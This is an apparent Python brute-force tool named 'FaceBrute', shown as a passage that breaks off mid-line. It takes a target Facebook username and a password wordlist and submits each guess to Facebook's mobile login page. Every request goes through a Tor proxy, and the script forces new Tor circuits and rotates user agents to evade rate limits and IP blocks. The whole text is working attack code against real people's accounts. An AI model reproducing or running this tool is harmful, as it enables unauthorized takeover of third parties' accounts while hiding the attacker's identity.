import requests,re,os,random,lxml,time from stem import Signal from stem.control import Controller from bs4 import BeautifulSoup requests.packages.urllib3.disable_warnings() os.system('service tor start && clear') print("\033[1m\033[91m █████▒▄▄▄ ▄████▄ ▓█████ ▄▄▄▄ ██▀███ █ ██ ▄▄▄█████▓▓█████ \n▓██ ▒▒████▄ ▒██▀ ▀█ ▓█ ▀ ▓█████▄ ▓██ ▒ ██▒ ██ ▓██▒▓ ██▒ ▓▒▓█ ▀ \n▒████ ░▒██ ▀█▄ ▒▓█ ▄ ▒███ ▒██▒ ▄██▓██ ░▄█ ▒▓██ ▒██░▒ ▓██░ ▒░▒███ \n░▓█▒ ░░██▄▄▄▄██ ▒▓▓▄ ▄██▒▒▓█ ▄ ▒██░█▀ ▒██▀▀█▄ ▓▓█ ░██░░ ▓██▓ ░ ▒▓█ ▄ \n░▒█░ ▓█ ▓██▒▒ ▓███▀ ░░▒████▒░▓█ ▀█▓░██▓ ▒██▒▒▒█████▓ ▒██▒ ░ ░▒████▒\n ▒ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░░░ ▒░ ░░▒▓███▀▒░ ▒▓ ░▒▓░░▒▓▒ ▒ ▒ ▒ ░░ ░░ ▒░ ░\n ░ ▒ ▒▒ ░ ░ ▒ ░ ░ ░▒░▒ ░ ░▒ ░ ▒░░░▒░ ░ ░ ░ ░ ░ ░\n ░ ░ ░ ▒ ░ ░ ░ ░ ░░ ░ ░░░ ░ ░ ░ ░\n \033[97mCoded by : http://github.com/graysuit\n Meet him : http://fb.com/gray.programmerz.5 \n Wordlist Generator : http://github.com/graysuit/wGen") email,wlist,IP=input(' \033[92m[+] Enter Username : '),input(' [+] Enter Wordlist name, Default:password.txt : '),input(' [+] Should I display Public IP? Default:y, y/n : ') print(' [+] Removing duplicate words in '+wlist+'\n [+] Only passwords >= 6 will be used.\n [+] Open '+email+'response.txt to view complete responses by facebook.') l = 1 if IP == 'n' or IP == 'N':l = '' if os.path.exists(email+'_response.txt'):os.remove(email+'_response.txt') if wlist=='':wlist='password.txt' if not os.path.exists(wlist):quit(' \033[91m[-] '+wlist+' doesn\'t exits\033[97m') print('\033[97m') lines_seen=set() outfile=open('temp.txt','w') for line in open(wlist,'r'): if len(line)>6: if line not in lines_seen:outfile.write(line);lines_seen.add(line) outfile.close() os.remove(wlist) open(wlist,'w').write(open('temp.txt','r').read()) os.remove('temp.txt') with open(wlist,'r') as h: g = len(h.readlines()) s = open(wlist,'r') k=0 proxy,post_url,payload,cookie={"http":"socks5://localhost:9050","https":'socks4://localhost:9050'},'https://m.facebook.com/login.php',{},{} def function(email,passw): headers = {'User-Agent':random.choice(open('user-agents.txt').read().splitlines()),'Accept-Language':'en-US,en;q=0.5'} payload['email'] = email payload['pass'] = passw e = '' if l == 1:e = requests.get('https://api.ipify.org',proxies=proxy,verify=False).text with Controller.from_port(port = 9051) as c: time.sleep(10) c.authenticate() c.signal(Signal.NEWNYM) A=requests.post(post_url,data=payload,headers=headers,proxies=proxy,verify=False) soup = BeautifulSoup(re.sub("